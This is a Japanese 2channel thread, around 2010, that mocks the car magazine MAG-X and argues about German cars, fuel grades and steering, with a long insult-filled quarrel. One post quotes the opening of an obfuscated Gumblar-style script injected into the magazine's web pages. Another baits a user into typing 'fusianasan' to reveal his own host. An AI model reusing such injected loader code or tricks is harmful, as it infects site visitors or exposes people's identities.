まあ、ＢＭＷの535ｉＧＴに搭載された新型エンジン（ターボ＆バルブトロニック）は、
実は日本仕様の低オクタン価レギュラーガソリン使用ＯＫになったそうだから、
（何故か、取説にはハイオク指定になってるらしいがｗ）
そのうちＶＷも対応させてくるかもね。

>>794
ある意味正しいｗ

>>799
名門ブランド製のダンパーと言えども、
あれこれ細かい注文に縛られてると、国産と比べても大したものには仕上がらない、てことでしょ。

784 名無しさん＠そうだドライブへ行こう sage 2010/05/02(日) 22:47:49 ID:P9kyTlDn0
ドイツ車を過大評価するヤツってさあ、
不思議とどいつも大きなコンプレックスを
持ってるもんなんだよなvw

792 名無しさん＠そうだドライブへ行こう sage New! 2010/05/03(月) 05:29:33 ID:1wBVv9bN0
この中でドイツのことをちゃんと知ってるヤツってどんだけいるのかねｗ
ドイツ語どの程度理解できるのかね。
どこに住んでたのかな。どの程度歴史を知ってんのかね。
奥さんがドイツ人とか。
なんか面白いよなｗ

798 名無しさん＠そうだドライブへ行こう sage New! 2010/05/03(月) 13:57:35 ID:1wBVv9bN0
あははは。そりゃあ、ご愁傷様なことで。
英語もドイツ語もろくすっぽできないのが、
低俗車雑誌や代理店の無知な坊やの言うことを
真に受けるってことですな。
それで、ドイツ車が良いとか言うんだから、
これはもうお笑い種としか言いようがvw



なんか知らんがドイツ車を深く恨んでいるんだなｗ
心に傷を負っているのだろうか？

ドイツのことを知らんとドイツ車に乗れないとか何言ってるんだろうな。
北海道の農家なんか、アメリカもイギリスもフランスもドイツもイタリアも
ろくに知らないが、連中の作業機やトラクターをバリバリ使ってるよ。
そして、国産は華奢だから使えないとかすぐ壊れる（連中は大体無理するから）
という。
別に国なんて知らなくても、知識と経験さえあればわかるでしょって話。

>>802
いや。私はドイツ車に乗ってるのだがvw
しかも、それが分かるようにしてあるんだがねえ。

>>803
ざっと読んだが、ドイツのことを知らんとドイツ車に乗れない、
とか言ってる書き込みはこのスレッドには見あたらないようだな。
キミの場合、英語、ドイツ語に加えて国語もできないクチかねvw

>>804
俺もドイツ車に乗っているのだがｖｗ

「どこに住んでたのかな。」「どの程度歴史を知ってんのかね。」「奥さんがドイツ人とか。」
そんなことを言ってる人は、まずお目にかかれないので珍しかったんだよvw

お気に障ったようなら悪かったねvw

>>803
＞ドイツのことを知らんとドイツ車に乗れないとか何言ってるんだろうな。
アメリカのことを知るには密航するしかない！と黒船に乗り込もうとして捕まった人と同じ発想だよなｗ
馬鹿らしいｗ

>>804
俺もまたドイツ車に乗っているのだがｖｗ

貴方の書き込みを読んでると、ドイツのことを知らないとドイツ車に乗る資格が
無いとしか読み取れないんだけども。
ドイツ語や英語を知らないと、自分が乗ってる車の批評もしちゃいかんと？
文字的側面でしか突っ込めない貴方より、よっぽどドイツ人の気質は知ってるよ。
仕事柄毎日ドイツ人と一緒だし、連中とのやりとりも多いからね。
英語なんて出来て当然、ドイツ語もある程度理解していないと仕事にならんし。

上っ面の言語でどうとかいう突っ込みしかできないのはみっともないよ。

上記が、自動車板で典型的な見下し合戦です。

見下すだのどうだの、馬鹿らしいｖｗ

おおっｗ。ふふふふふっ。釣れてる。釣れてるよっｗ
少数派だけど、やっぱりいるんだな。
コンプレックスの塊のドイツ車乗り。
>>ID:iJmbppKN0
>>ID:7NpCRAAQ0

ご丁寧に、誰も言ってないことを言いだして、自分のコンプレックスを
自分でまとめて大暴露ってか。おめでてえな、おいっｗ
ドイツ車マンセーの評論家もこの程度のレベルｗ
この程度のオッサンどもが、訳も分からずドイツ車は良いいっっ、、、、
とか言ってるから滑稽なんだよなｗ　バカらしくて面白いわｗ

ID:1wBVv9bN0 お前がナンバー1だ・・・

「後釣り宣言」

ネット上での発言に突っ込まれたり間違いを指摘されたりしたとき、素直に非を認めず、
「さっきの発言は釣り。やーいひっかかった」などと涙目で言って相手を馬鹿にすることで保身を図る行為。
要は単なる負け惜しみであって、周りからは一層笑われる。後釣り宣言はかえって傷口を広げるだけである。

http://dic.nicovideo.jp/a/%E5%BE%8C%E9%87%A3%E3%82%8A%E5%AE%A3%E8%A8%80

>>812　ID:iJmbppKN0
一生懸命探したのねｖｗ　だけど残念だったね。後で意味づけ、悲しいねｖｗ
残念ながらお前はオレの言ったことには何も突っ込めてないんで、
それは当てはまらないんだよなあｖｗ　残念だったね〜ヴァっはははｖｗ
オレが言ってないことをお前が勝手に持ち出してきて、
自分で自分にツッコミを入れたんだよっと。。。これが真実だあｖｗ

そして、なぜお前はそのようなことをするハメになったのか。
それは、お前のコンプレックスが、コンプレックスのない人には
見えないものや読み取れないものをオレの書いたキーワードの中から
お前に読み取らせたからだよｖｗ　分かるかなあ〜ｖｗ
かなり重度のコンプレックスをお持ちのようで。ご愁傷さまあ〜ｖｗ

＞一生懸命探したのねｖｗ　
すぐ見つかったよｗ

＞オレが言ってないことをお前が勝手に持ち出してきて、
え？どこにそんな書き込みがｗ

＞自分で自分にツッコミを入れたんだよっと。。。これが真実だあｖｗ
意味が分からんｗ

＞そして、なぜお前はそのようなことをするハメになったのか。
＞それは、お前のコンプレックスが、コンプレックスのない人には
＞見えないものや読み取れないものをオレの書いたキーワードの中から
＞お前に読み取らせたからだよｖｗ　分かるかなあ〜ｖｗ
＞かなり重度のコンプレックスをお持ちのようで。ご愁傷さまあ〜ｖｗ

まさに負け犬の遠吠えｗ

>>814　 ID:iJmbppKN0
お前には難しかったようだなｖｗ　えっ？
お前さあ、調子に乗ってｖｗを真似してたのに、もう止めたの？
自分に自信がないから、そうやって一貫性がない人生なんだぞｖｗ
まあでも、自分で負けを負け犬の遠吠えと表現したのは評価してやるぞｖｗ
よし、よしっとｖｗｖｗｖｗ

おいおいｗ
まだ自称ドイツ車乗り、ドイツコンプレックス丸出しのID:1wBVv9bN0は暴れるのかｗ

そろそろスレ違いだし、ほどほどにしておけｗ

>>816
まあ、泣くなｖｗ
そのIDは最後のNOしか合ってないぞｖｗ
なにあわててんだｖｗ　ID:iJmbppKN0だろｊｋ
自問自答乙ｖｗ

>>816
ウンコに触るとウンコが付くからやめた方が良いよ。
ウンコだって分かったんだし、放置しておくのが良い。

別にドイツ車ばっかり乗ってきた訳じゃないし。
昔のトヨタは良かったと思う。パワステとか無かったけど。
いすゞやHondaにも乗ってみたけど、それなりに味わいがあった。
今の選択肢はドイツ車（自分はトゥーラン）だったってだけで
足だけならプジョーが良かったんだがなあ。

>>817
なかなか認めないねえｗ

コンプレックスのない人は、私にここまで絡まないよｗ
分かるかなあ〜ｖｗ

などと、819が ID:iJmbppKN0にいうとりますｖｗ

>>818
暇つぶしで遊んであげていたが以後、自重する
正直、スレ汚しすまんかった。

よし。今回は許してやるが、以後気をつけるようにｖｗ

>>822
君に謝ってはいないよｗ

>>818
旧車のミーティングによく行くけど
カローラとかサニーとかチェリーとか、大事に乗ってる人多いんだよね。
今のパッソとかカローラが、20年〜30年後にああなるとは想像できないｗ

まあ、車への憧れが当時と今とではまるで違う、と言えばそれまでなんだが。

>>823　ID:iJmbppKN0
まあ良い。そんなに取り乱すなｖｗ
良く反省して、今後は気をつけて分相応な生活を送りなさい。
お前は、まだまだ未熟者だということだｖｗ

まあ、良かったじゃないか。自分の深層心理を知れて。
とてつもないコンプレックスを抱えて生きている。
恥ずかしい人生。まあ良いではないか。能力は人それぞれだからな。
劣っていること自体は恥ずかしいことではない。
しかし、語学はきちんと勉強しておいた方が良いなｖｗ

test

おお書き込めたｗ

>>770
今月号に次期スカイラインの予想が載ってたけど、
あんな感じ（3.7�gエンジン廃止→ターボ付3.0�gエンジン搭載）になればいいなあ・・・・

保守

>>827
2.5のスーパーチャージャー＆ターボだともっとうれしいな
現行の3.7Ｌとかないわー

>>829
VQ25HRを直噴にして、スーパーチャージャー＋ターボ？
VWのエンジンでさえうるさいとか何とか言われてるみたいだし、
スーパーチャージャー＋ターボは望み薄な気がする。
メカニズムとしては凄く面白そう。

もし有料会員がいたら確認してもらいたいのだが、

http://www.mag-x.com/magx/nifty/charge/0412_1/index.html

http://www.mag-x.com/magx/nifty/charge/0412_2/index.html

これはガンブラーウイルスだよな？

末尾に下記のようなスクリプトが書き加えられているんだが
<script>/*Exception*/ document.write('<script src='+'h)t(!t(!)@p):$!^)/^$$/)!@@i@))#&n(($)t&)#e(#!l(!&-&#c^#o^

http://sankei.jp.msn.com/photos/economy/it/100111/its1001111801001-p1.htm

The SOUKATSU members remain silent about the Prius brake problem in this month's issue.
Does they have reasons for not wanting to say anything about it? Tell me what's going on!

Correct the mistakes, if any, in the above sentences.

ふー。
恥ずかしいヤツらだ。

ゴールデンウイークがこんな過ごし方とは。。。
正しいとかなんてどうでもよくてとにかく暗いぞ、あんたら

>>833
× Does they
○ Do they
低脳は慣れぬことをせぬほうがいい
低脳は神ちゃんの専売だしね

Is that you, John Wayne? Is this me?

>>837
hey
input "fusianasan" on name field.

>>838
No thank you!!

色々と文句を言うヤツはドイツだ！！

なんちゃって。（古いか？）

【審議中】
　　　　|∧∧| 　　　　　　（(　)　）　　　（(　)　）　　（(⌒　）
　＿＿(；ﾟДﾟ)＿__　　　（(　)　）　　　（(　⌒　）　　（(　)　）
　| ⊂l >>840 l⊃| 　　　ノ火.,､　　　ノ人.,　､ 　ノ人.,､
　￣￣|.|.　 .||￣￣　　　γﾉ）::）　　γﾉ）::）　　 γﾉ）::）　
　　　　|.|=.=.|| 　　　　　　ゝ人ﾉ　　ゝ火ﾉ　　　ゝ人ﾉ
　　　　|∪∪|　　　　　　　　||∧,,∧　||∧,,∧　　|| 　ﾎﾞｫｵ
　　　　|　 　 |　　　　　　∧ (´・ω・) (・ω・｀)　∧∧
　　　　|　 　 | 　　　　　(　´・ω)　Ｕ) ( つと ﾉ(ω・｀ )
　　　~~~~~~~~　　　　　｜　Ｕ (　　´・) (・｀　　).　.と ﾉ
　　　　　　　　　　　　　　ｕ-ｕ （　　　 ) (　　　ﾉ u-ｕ
　　　　　　　　　　　　　　　　　 `ｕ-ｕ'.　`ｕ-u'

　　　　　　（ヽ､ ＿ヽ､　　)＼　　　　　ヽヽ
　　　　　＿ヽ､　　　　 ⌒　　ヽ､　　　　 ＼＼
　　　　　＼￣　　　　　__　　　　）ﾉ　　　　　ヽヽ
　　　 ∠⌒　　　　　／　）　　　　⌒ヽ　　　　 | |
　　　　　）　　 ／￣ﾞ-　く　　　　　　　＼　　 ﾉﾉ
　　　 ／　　／ﾉ＾)＿＿_)ノl　　　　　　 ヽ＿//
　　 /　　　/／(／　!＿|＿|　　　　　　　ヽ三ヽ
　　 ﾚﾍ　　|j(／l_／　　　　|ノヽ　　　　　 |──)
　　　 ﾉ　（／l_／　　／⌒|　| | |　 !　　　|二 二ヽ
　　／　　 |_／＿＿|　|　 | -| | ﾉノ　 　 ﾉ── ､)
　 /　　　　`───|　|　ﾉ -| |　　　|／（()）　　 ヽ
　／⌒）　∧　　　　ヽ／_／／　　/j()ﾉ＿　　 (()) i
　　　 /／ ﾉ　　　　　|_／／　／￣￣｀＼　((））　 j
　　　　　 （ﾍ　　　　　 ￣　　 |　　 ヽ　　 ＼　　　/
　　　　　　　）／（／)　／ ⌒ |⌒ヽ |＼　 /i＼ /|　　 )ヽ
　　　　　　　　　　　 |/　 　 　 |　 　 !　　/　| ﾉ　|　　(　(
　　　　　)ヽ　　　　　　　　　　 |　　/　 /　　（　((|　　 ）　ヽ
　　　　(　　）　　　　　　　　 　 |　 /　/　　　　ヽ|　　（　　　）
　　　　）　（　　　　　　､　　　 /　　）　|ヽ､_ _＿ ﾉ　　　）　 （
　　　（　　　ヽ　　　　（(　　　/　 /−､|　　　　　　　　（　　　ヽ
（　　　 ）　　　）　　 　)ヽ　　ヽ_ノ |　　|　　　ヽ　　　ノ　　　　　）
　）　　（　　　 （　　 ノ　 ）　　　　 | 　 |　　（　(　　（　　　　　 （
　（_　ノ　　　　　）（　　（　（　 　 / ／＾)　　）　）　　）
　　　　　　　　　　　　　　　）　 / /　/　　（　　（　_ノ
　　　　　　　　　　　　　　　　　（/__/　　　）

xがプリウス特集のムックを出したが、ABS動作時の挙動実験に失敗していて笑える
ABS動作一つ引き起こせないなんて‥　

ガンブラー攻撃が常態化、トレンドマイクロ、4月のウイルス感染・報告ランキング
ttp://headlines.yahoo.co.jp/hl?a=20100507-00000021-inet-secu

もうここんちにアクセスしないほうがいいよ
危険すぎ

ブログにお越しの際は、ガンブラー攻撃でお待ちしています

現行プリウスの回に、エスティマハイブリが★5つて書いてあったんだけど
本もってないからわからない
なんて褒められてたの？

端的に言うと、
効率性重視で、実質2tの車で総括メンバーの平均燃費13.4km/l。
誰が運転しても市街地で10km/l行く。
で、5つ星。

>>845
個人ブログにも劣るいい加減なセキュリティの所に
クレジット情報、個人情報をさらすなんて・・・怖

Gumblar
出典: フリー百科事典『ウィキペディア（Wikipedia）』
ttp://ja.wikipedia.org/wiki/Gumblar

Gumblar（ガンブラー）とは「Webサイト改ざん」と「Web感染型ウイルス（Webサイトを閲覧するだけで感染するウイルス）」を組み合わせて、
多数のパソコンをウイルスに感染させようとする攻撃手法（手口）のことである。
同攻撃に関連するマルウェアを指す意味でも多用されるが、どの範囲のマルウェアを指すのかはメディアによって様々である。
Gumblarによって、国内外で Webサイトの改ざん被害が相次いでいる。

日本国内においては、別名でGENOウイルス（ジェノウイルス）と呼ばれている。

全部レベル低いなｗ
記事も、記事書いてるヤツも、構成も、サイトのセキュリティーも全部。
それから、読者もなｗｗｗ

つまりお前もかw

ジェノウイルスのレベルは高い

【出版】二玄社、自動車雑誌編集から撤退…『カーグラフィック(CAR GRAPHIC)』新体制に [10/05/10]
http://anchorage.2ch.net/test/read.cgi/bizplus/1273681498/

最終的に行き着くところが電気自動車だとすると、
ハイブリでデータを蓄積しておくことは大きなアドバンテージなんだよね

暴露ウイルスでデーターを集める

男性差別
http://ja.wikipedia.org/wiki/%E7%94%B7%E6%80%A7%E5%B7%AE%E5%88%A5

一度さ、「度重なるウイルスばらまき、猛省を望む」記事を
自分たちで作ってみてほしいよ。
パロディにでもしてさ

そんな技量はないわけだけど、謝罪釈明はしてほしいよな。
言っていることとやっていることが大きくかけ離れている事実をさ

2ch完全終了か！？　誹謗中傷を行った30人が弁護士によりIP開示、そして刑事告訴へ
http://tsushima.2ch.net/test/read.cgi/news/1273490738/

>>858　まったくだな。
ニュース性ゼロの北京モーターショーの写真なんか載せてないで
編集長と部下の不倫写真でも表紙に掲載してみたらｗ

前回のウイルスばら撒きも
ここのスレで騒ぎになったから渋々認めたって感じだし。
スクープ情報提供者が警察に逮捕されたなんて話は
嬉々としてブログに書くくせに、
能書きだけは一丁前で、中の人の都合が悪い件は隠蔽だもんな。

>>860
＞編集長と部下の不倫写真でも表紙に掲載してみたら

内部の編集者限定の内輪ネタだねｗ
そんなもん俺らが見て喜べるわけねえだろｗ

それより新生ＣＧをさっさとなんとかしろよ

でも、あの写真は伝説の名作だと思うよ

今でもことあるごとに話題になるしね。

あんなさらされ者、あとにも先にもなし

ＣＧスレでも、編集部の内輪ネタ書き込んで一人で盛り上がっているアホがいたなｗ

根暗なヤツが多いんだろなｗ

まあ、たかが三流車雑誌社の編集ふぜい。
その程度でしょ。

リコール隠しの三菱にコビるようではお仕舞

三菱マンセーのベストカーのお株を奪ったら駄目だろｗ

＞前回のウイルスばら撒きも
＞ここのスレで騒ぎになったから渋々認めたって感じだし。

＞でも、あの写真は伝説の名作だと思うよ
＞今でもことあるごとに話題になるしね。
＞あんなさらされ者、あとにも先にもなし

この人、２ｃｈの過疎スレで何やってんのｗｗｗ

新創刊してもまったく売れてないな

MAG-X口蹄疫（こうていえき)はどうなったのかな

信頼される本になるチャンスは２回あった

前回は「三菱のリコール隠し問題」だった、追及は編集長の交代で情けないウヤムヤ状態になった
そして今回「ダイハツ燃費査証疑惑」
今からでも追求すれば信頼される本になるチャンスはある

編集長の本当の総括精神が問われる

無理

燃費詐称疑惑を追及せよ

【自動車】トヨタが「パッソ」自主改修へ　低速発進時エンスト恐れ［10/05/20］
http://anchorage.2ch.net/test/read.cgi/bizplus/1274317129/

再三のウイルスまきちらし疑惑を追及せよ
もっとも
金払っている会員なんて皆無だから黙殺でもOK？

ブラック企業の社名を書いていくスレ 5
http://changi.2ch.net/test/read.cgi/job/1272800454/55

55 名前：名無しさん＠引く手あまた[sage] 投稿日：2010/05/22(土) 22:39:30 ID:e6YnqRTn0
企業とは呼べない低レベル集団　もろブラック
http://namidame.2ch.net/test/read.cgi/car/1257733373/l50

>>855
些細なアドバンテージだろ

なにしろ、中国が全世界の９７％の埋蔵量を有するレアアースを使えないとモータが作れないんだからね
将来敵には、製造も販売も中国共産党の許しがないとできなくなる

日本以外でも海水から取り出そうと躍起になってるけどね

燃費詐称疑惑を総括せよ

CR-Z星2つか

>>879
内容はどうだった？

CR-Zは所詮フィットベースだからなあ・・・
あれでオプション付けた豪華仕様は車両価格３００万円とかｗ
車の出来以前に買う気がおきないわｗ

ちなみにﾎﾟﾛTSIとCR-Zでは速さも燃費も変わらない

>>880
燃料は違うだろ。

>>881
?

>>880
光岡の車のような感じで受け止めれば買えるんじゃない？
オレはそうは受け止められないし光岡の車も買わないけど。

なるほど・・・・・３００万円のフィットの整形版か


確かにいらんな

αにサイドエアバックを付けると自動的に本皮シートも抱き合わせになり
インターナビも付けると確かに300万だ。サイドエアバックは標準にして
250万内で出せば良かったのに。出来は良いと思うけどなぁ。

>>882
CR-Z　使用燃料　　　　無鉛レギュラーガソリン(全国平均137.1円)
ポロTSI　使用燃料　　　無鉛プレミアムガソリン(全国平均147.7円)

評論家はレギュラー・ハイオクについてまず触れること無いから
結構知らない人多いんだよな。

まぁもし日本の大衆車、カローラやFit等がハイオク仕様になったら
アホほど叩くだろうから、わざと黙ってるんだろうけど。

年間1万kmを10km/Lで走ったとして1,000L
10円/Lの差だから年間1万円程度の差でしかない
なぜそんなにハイオクとレギュラーの違いにこだわるのか理解できないよ
年間1万円の差なんて車を所有する上では誤差みたいなもんだろ

>>887
そんなの燃費自体に言えることだろ。
年間1万kmを20km/Lで走って500L　レギュラー:6万7500円　ハイオク:7万2500円
年間1万kmを18km/Lで走って556L　レギュラー:7万5000円　ハイオク:8万000円
年間1万kmを10km/Lで走って1000L　レギュラー:13万5000円　ハイオク:14万5000円

20km/Lのレギュラーも10km/Lのハイオクも8万円も変わらない。

>>883
ミツオカの車は居住性を犠牲にしていない。

むしろなんでわざわざレギュラーとハイオクを分ける必要があるんだ。
全車ハイオクにすれば燃料の販売コストも下がるし、エンジンは高効率になって燃費もよく出来るだろうに。

>>890
石油業界の福利厚生。レギュラーの値段でハイオクが買える。

ハイオクの原価が安いのに高く売れる。

外国車がハイオク指定なので非関税障壁。

この３つ以外にありますか？

ＣＲ−Ｚはやっぱり２つだったか。
試乗したけど、パワステの感触がまんまフィットだったもんな・・・・
でも、デザインはもう少し評価してあげてもいいと思う。

>>888
燃費は環境問題直結だから
それに1万と8万では8倍だぞ
保険代が賄えそうな額になる

>>888
年間1万円と8万円の差は大きすぎるだろｗ
例えになっていない

5年で40万なら車両価格の差から見たらどうでも良い額になるケースは多々ありそうだが。
10km/L超えてたら燃料費なんて10万kmでも140万くらい、15km/L超えたら90万以下。
EVでも乗らない限りそれ以上燃費良くても劇的に安くならん。
そんな些末な話より車の個性や車体価格の方が大事だな。
つーことでこの議論は終わり。

RVRは？

>>896
★★★

>894
それが高いと感じるか大したこと無いと感じるかが
車種選択のポイントにもなるってこったね

CR-Zが酷評されてれるけど乗ったら楽しかったけどな。そこは見解の相違って
やつかな。あと総括メンバーだけではなく、他の自動車評論家にも言えるが
評価軸に経年劣化という視点を加えて見てる人はあんまりいないね。
試乗した段階で内装のたてつけの具合や音を聴いて、平均的な使い方をした場
合、そのクルマが持ちが良いか悪いか分かると思うが。その点はCR-Zはシッカリ
作られてたと思う。過去に誉められてたデュアリスとか乗り味が安っぽく感じたし
おろしたての試乗車の段階で内装がペキパキギシアン鳴ってたし良い印象は無かった
けどなぁ。

経年劣化する前で★★なんでしょ？

日産車の経年劣化は異常だからな。ホンダはボディが弱いとか言われるけど今はそんなことは全くないな。

へー
10年位前知人のアコードが一年で真っ直ぐ走れないほどよれよれになってた。
それみてホンダは眼中になくなってたんだが。

>>902
十年前のアコードでそれは異常。

>>847
トヨタ車というだけで全否定のこのコーナーにおいて、満場一致でその年のベストバイになっていたほどｗ
ノーマルエスティマはいつものように叩きまくり。

ドキュテマなんて買うヤツ自体アホw

マグペケ買うヤツもなｗ

新装刊してもムダだったなw　まったく売れてないw

>>906
4日遅れのレスがそれかｗ

ドキュテマw　ﾜﾛﾀw

カラーページと総括ではCR-Zに対する評価が正反対だな。
一方で持ち上げて一方でこきおろす。
両論併記なのかただのダブルスタンダードなのか。

>>910
ベストカーではボロカスだったから総括が正解だと思う

つか昔っからのあの雑誌のデフォでしょ

RVRの電動パワステのどこがどう悪いのか分かりませんが。

電動パワステ自体駄目なんじゃね？

ダイハツ
ttp://www.geocities.jp/keyword_link/auto/daihatsu.html

ダイハツ工業株式会社（ダイハツこうぎょう, Daihatsu Motor Co., Ltd.）は、日本の自動車メーカーの一つである。
本社は大阪府池田市。
ブランド名、社名の由来は、地名と前社名の「大阪」「発動機製造」の頭文字を組み合わせた「大発」から。


＜中略＞

沿革

1907年、大阪市で「發動機製造株式會社」を創立。
1930年に三輪自動車を発売する。
1951年、現社名の「ダイハツ工業株式会社」へ改称した。
1967年、トヨタ自動車と業務提携。
1998年、トヨタ自動車がダイハツ工業株の過半数を取得し同社の連結子会社となる。
1999年、リコール隠しが発覚。運輸省より改善措置勧告書が出された。
2007年、3月1日に創業100周年を迎えたのを機にコーポレーションスローガンを「Innovation For Tomorrow」に変更。

>>914
「電動パワステ」「マルチリンクサス」「CVT」
このあたりは総括で毎度のごとくけなされるからな

でも、ゴルフは電動パワステ、マルチリンクサスなのにべた褒めだった。
変なバイアスかかってるよね、やっぱり。

ダイハツ大リコール祭り

キーワード【 自動車 トヨタ VW ダイハツ ＶＷ 総括 リコール 】

ダイハツの大量リコールにかんする見出しの予想
『ダイハツの「トヨタ病」が悪化した？』

電動パワステとマルチリンクサスがダメと言っているわけじゃないだろ。
出来が悪いのが多いだけ。
国産では過去最高の評価だった、32GT-Rはマルチリンクじゃなかったけ？

パワステの電動と油圧、操作して区別付く奴居る？

>>922
解りにくいのも出てきたけれど、まだ区別つくよ。

>>923
見分けるコツなんてあるの？

大量リコールに関する見出しの予想
『口蹄疫（こうていえき）が拡大している。埋却作業を急げ』

>>924
コツも何も、アシストのかかり方がかなり違う。特に廉価版はハッキリ解るよ。油圧だと、
中立位置から、いわゆる遊びの部分を超えてステアリング切っていく時に、タイヤが捻れる
手応え以外、そんなに変化は無いけれど、電動は極端に言うと、中立から遊びの部分は
重ステで、硬いゴムを捻ってる様な感じ。そこからアシスト掛かってくると急に軽くなるから、
感覚的に言うと、ステアリングが勝手に持って行かれる様な感じになる。だから慣れるまでは
若干切り過ぎちゃう。で、そこから切り返そうとすると、また一瞬重くなってからアシストが
掛かるから、ワンテンポ遅れる感じ。何というか、轍にタイヤをとられた感覚に近いよ。

キーワード【 リコール トヨタ 総括 ＶＷ ダイハツ 自動車 スズキ 】

>>924
意地悪なことをすると小刻みにステアリング左右に素早く小さく切るだけでわかるよ。

電動だとどうしても左右のアシストの切り替わりでモーターの慣性が働くからタイムラグが出る。
それでもつじつまを合わせるためにタイミングを煮詰めてるんだけどタイヤ・ホイールが変わると
純正チューニングの範囲を超えちゃうから違和感が増大する傾向にある。

>>904
＞トヨタ車というだけで全否定のこのコーナー

言葉だけはな。
星の数はなんだかんだで多めにつけてるよ、トヨタ車には。
新型プリウスのときなんかひどかった。

逆にマツダやその他には、「このメーカーならもっとできるはずだから１個減らす」
とかわけのわからん理屈で星の数を減らしているのがいつものやり方だな。

マークXの総括なんか酷かったけどな

下請け良く頑張った
おしまい

という感じだったｗ

>>930
マークＸって確かページ数少なかったから
半分近くがトヨタの体制の批判で
一体なんの総括なのか読んでてよくわからんかった

6/12　14：00頃
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393　ENGINE 2010年 07月号
517　モーターマガジン 2010年 07月号
572　XaCAR 2010年 07月号
705　GT-R Magazine 2010年 07月号
742　月刊 自家用車 2010年 07月号
835　RIDERS CLUB 2010年 07月号　　☆　二輪　☆

　943　NEW MODEL MAGAZINE X 2010年 07月号

980　BikeJIN (培倶人) 2010年 07月号 　　☆　二輪　☆
1297　ニッサンマガジンvol.1 2010年 06月号
1403　モーターサイクリスト 2010年 07月号　　☆　二輪　☆
1649　Kawasakiバイクマガジン 2010年 07月号　　☆　二輪　☆
1798　BiG MACHINE 2010年 06月号　　　　☆　二輪　☆
2354　オートバイ 2010年 07月号 　　　　　☆　二輪　☆　
2416　driver 2010年 7/5号
10866　Honda Style 2010年 05月号

ちなみにホンダバイクスって雑誌はとっくの昔に廃刊だｗ

トヨタMARK X　改め　トヨタMAG-X

ダンパーやステアリングは「メーカーが口出しするから云々」
かといって任せきりだと「丸投げだ！」

いったいどうしろと？

>>934
プジョーみたいに内製

評論もメーカー内製

そもそも、フリーランスのライターに執筆依頼する出版社も丸投げ。

大体、内製したらしたで「餅は餅屋、専業メーカーには敵わない」とか
言われちゃうのがオチw

この際、箱バンセッティングで。
プロボックスの時みたいにタフでスポーティと評価される鴨。

保守

キーワード【 リコール 自動車 ダイハツ トヨタ ＶＷ 総括 スズキ 】

自動車雑誌の廃刊が相次ぎ
月２回発行だったドライバーは月刊になるし。

この雑誌は大丈夫なのか？

>>942
隔月刊だとコンビニや病院の売店とかに置いてもらえなくなるから何が何でも月刊だろ

>>942−943
そして今以上に内容が薄くなり反比例して値段は上がりそう。

季刊誌で十分

【自動車】トヨタ、中国工場で操業停止　系列部品メーカーのストが原因[10/06/18]
http://anchorage.2ch.net/test/read.cgi/bizplus/1276875788/

ホットストック：トヨタ<7203.T>続落、部品メーカーのストで中国工場22日から生産を停止
http://jp.reuters.com/article/stocksNews/idJPnTK040375120100623

　［東京　２３日　ロイター］　
トヨタ自動車(7203.T: 株価, ニュース, レポート)が続落。地合いの悪さに加えて、同社が２２日、系列の部品会社デンソーの
中国工場におけるストライキの影響で、同日朝から中国の組み立て工場で生産が停止していることを明らかにしたことも嫌気されている。

　生産停止に追い込まれたトヨタの工場は年間生産能力３６万台で、「カムリ」や「ヤリス」を生産している。
トヨタのスポークスマンは「いつ生産が再開できるか、決まっていない」と述べた。

ＭＦＩにあったＺＦの横置きＦＦ用トランスミッションってなんだろ？

普通のＡＴとは違うって書いてあったけど。

>>948
MFIは読んでないけど、アントノフTMっぽいな。
15,6年前のCGテクニカルレポートで読んだ記憶がある。

保守

>949
検索したら自動車工学が出たわｗ

マツダのスカイドライブも従来のＡＴとは違うとか言ってるけど、ＺＦのアレと関係あったら面白いね。

【ドイツ】トヨタのテストドライバー・成瀬弘さんが事故死 「レクサスＬＦＡ」の試験走行中に-ニュルブルクリンク近くの公道
http://tsushima.2ch.net/test/read.cgi/newsplus/1277383417/

成瀬さん・・・・お亡くなりになったか

http://www.rhein-zeitung.de/cms_media/module_img/210/105394_1_popup_Kopie_von_IMG_6763.JPG
http://www.rhein-zeitung.de/cms_media/module_img/210/105401_1_popup_Kopie_von_IMG_6780.JPG

この画像見る限り、LF-AがBMWの衝撃を吸収する形になってしまっているな・・・
スピードの出し過ぎで、対向車線からはみ出してきたBMWを避けきれなかったんだろうか・・・

ご冥福をお祈りします

アントノフトランスミッションを調べたら、トヨタを訴えてるな（笑）。

ttp://conductorsclub.blog.ocn.ne.jp/epatentmap/2005/09/post_b390.html

確か却下されたはずだけど。

レクサス

対向車線に出たのはレクサス

【ドイツ】トヨタのテストドライバー・成瀬弘さんが事故死 「レクサスＬＦＡ」の試験走行中に-ニュルブルクリンク近くの公道★３
http://tsushima.2ch.net/test/read.cgi/newsplus/1277432392/l50

今週の車当てクイズ
http://www.blogcdn.com/www.autoblog.com/media/2010/06/p1010005.jpg
http://www.blogcdn.com/www.autoblog.com/media/2010/06/p1010004.jpg
http://www.blogcdn.com/www.autoblog.com/media/2010/06/p1010006.jpg

ざ・総括
ジャガーXJ　★★★
ルノー・カングー　★★★★

輸入車だけの総括は久しぶりかな。
それにしても今号の裏表紙で違う本かと思ってしまった。

こんな誰も買わない車やるくらいならマイナー後のチェックでもやってみればいいのに

総括＆パージ 【purge】

>>960
みんなが買ってる車だと乗らずにデタラメ書いてるのがばれるからな。

久々に買ったけど政治・経済記事の論調が随分と変貌してるなあ
どうしたんだろ

偏向政治ネタはパージ（purge）されました

先週末だったかな？
MAG-Xのサイトにアクセスしたら、いきなりJAVAが立ち上がって、
デスクトップに、hs_err_pid4008.logみたいなファイルが出来て、
それ以来、SVCHOSTがCPU使用率100%になってるんだけど、
ただの偶然？
そのsvchostを強制終了しようとすると、windowsが60秒以内に堕ちる。
セキュリティはMSのSEURITY ESSENTIALSだけ。
なんか気味悪いな。

java更新してセキュリティホール閉じとけよ

MAG-Xこうてい疫ことスパイウェアが・・

【自動車】トヨタ、レクサス最上級車種「LS460」をリコールへ　走行中にエンジンが停止する不具合［10/07 /01］
http://anchorage.2ch.net/test/read.cgi/bizplus/1277951161/

【自動車】トヨタ、東南アジア向け小型車　ダイハツ開発［10/07/02］
http://anchorage.2ch.net/test/read.cgi/bizplus/1278036939/

キザシのデザインが褒められてたけど、あの車って総括されたっけ？

更に目立たない、センスのよろしくない表紙

本の内容
★

今月号もまったく売れていないｗ

雑誌作りの基本も判っていない輩が、
惰性で作っているって感じで
泥沼　末期症状

>>973
俺の行動範囲でも売れていない。
季刊になったら買ってもいいと思う。
俺はベストカーとディズニーファン（月刊）を読んでいる。
先月からオートサウンド（季刊）を読み始めた。

479 ：名無しさん＠そうだドライブへ行こう：2010/07 /04(日) 08:24:55 ID:+G7NR7GT0
>477
